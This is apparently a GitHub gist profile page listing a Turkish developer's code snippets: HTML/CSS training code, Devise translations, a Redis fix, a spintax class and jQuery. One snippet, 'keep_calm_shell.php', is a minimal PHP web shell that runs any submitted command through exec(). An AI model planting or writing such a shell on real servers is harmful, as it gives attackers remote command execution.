Skip to content

Instantly share code, notes, and snippets.

View erdemoflaz's full-sized avatar
🥑

Erdem OFLAZ erdemoflaz

🥑
View GitHub Profile
@erdemoflaz
erdemoflaz / iletisim.html
Last active October 16, 2024 19:21
EĞİTİMDE YAPILAN HTML VE CSS KODLARI
<html>
<head>
<title>Kişisel Blog</title>
<meta charset="UTF-8">
<link rel="stylesheet" href="style.css">
<link href="https://fonts.googleapis.com/css?family=Open+Sans|Righteous" rel="stylesheet">
</head>
<select class="s" id="s">
<option value="" selected>Select a Letter</option>
<option value="a">A</option>
<option value="b">B</option>
<option value="c">C</option>
<option value="d">D</option>
<option value="e">E</option>
<option value="f">F</option>
<option value="g">G</option>
<option value="h">H</option>
@erdemoflaz
erdemoflaz / devise.tr.yml
Created February 14, 2017 11:08 — forked from cihad/devise.tr.yml
Turkish translations for Devise
# Additional translations at https://github.com/plataformatec/devise/wiki/I18n
tr:
devise:
confirmations:
confirmed: "Eposta adresiniz başırılı bir şekilde onaylandı."
send_instructions: "Bir kaç dakika içerisinde eposta adresinizi nasıl onaylayacağınız hakkında bir eposta alacaksınız."
send_paranoid_instructions: "Eğer eposta adresinizi veritabanımızda kayıtlı ise bir kaç dakika içerisinde eposta adresinizi nasıl onaylayacağınız hakkında bir eposta alacaksınız."
failure:
already_authenticated: "Zaten giriş yaptınız."
@erdemoflaz
erdemoflaz / gist:4a1e4c043bf904fde317263d4a6bb635
Created January 28, 2017 10:24 — forked from kapkaev/gist:4619127
MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error. Resque
$ redis-cli
> config set stop-writes-on-bgsave-error no
@erdemoflaz
erdemoflaz / keep_calm_shell.php
Created October 12, 2016 00:39
easy php shell code
<form action="" method="post">
<input type="text" name="calistir">
<input type="submit">
</form>
<?php
if(isset($_POST["calistir"])){
$calistir = exec($_POST["calistir"]);
echo "<pre>".$calistir."</pre>";
@erdemoflaz
erdemoflaz / spintax.php
Created March 30, 2016 03:26 — forked from irazasyed/spintax.php
PHP: Text Spinner Class - Nested spinning supported.
<?PHP
/**
* Spintax - A helper class to process Spintax strings.
* @name Spintax
* @author Jason Davis - https://www.codedevelopr.com/
* Tutorial: https://www.codedevelopr.com/articles/php-spintax-class/
*/
class Spintax
{
public function process($text)
<script type="text/javascript">
$(function(){
$("div.bas").click(function(){
$("div.bas").after('<div class="box"><div class="kapat">X</div><img src="dosyalar/<?php echo $getir["resim"];?>" style="margin-top:50px;border: 10px solid #fff; border-radius: 10px; height: 80%;max-width: 90%;"/></div>');
$("div.box div.kapat").click(function(){
$("div.box ").hide();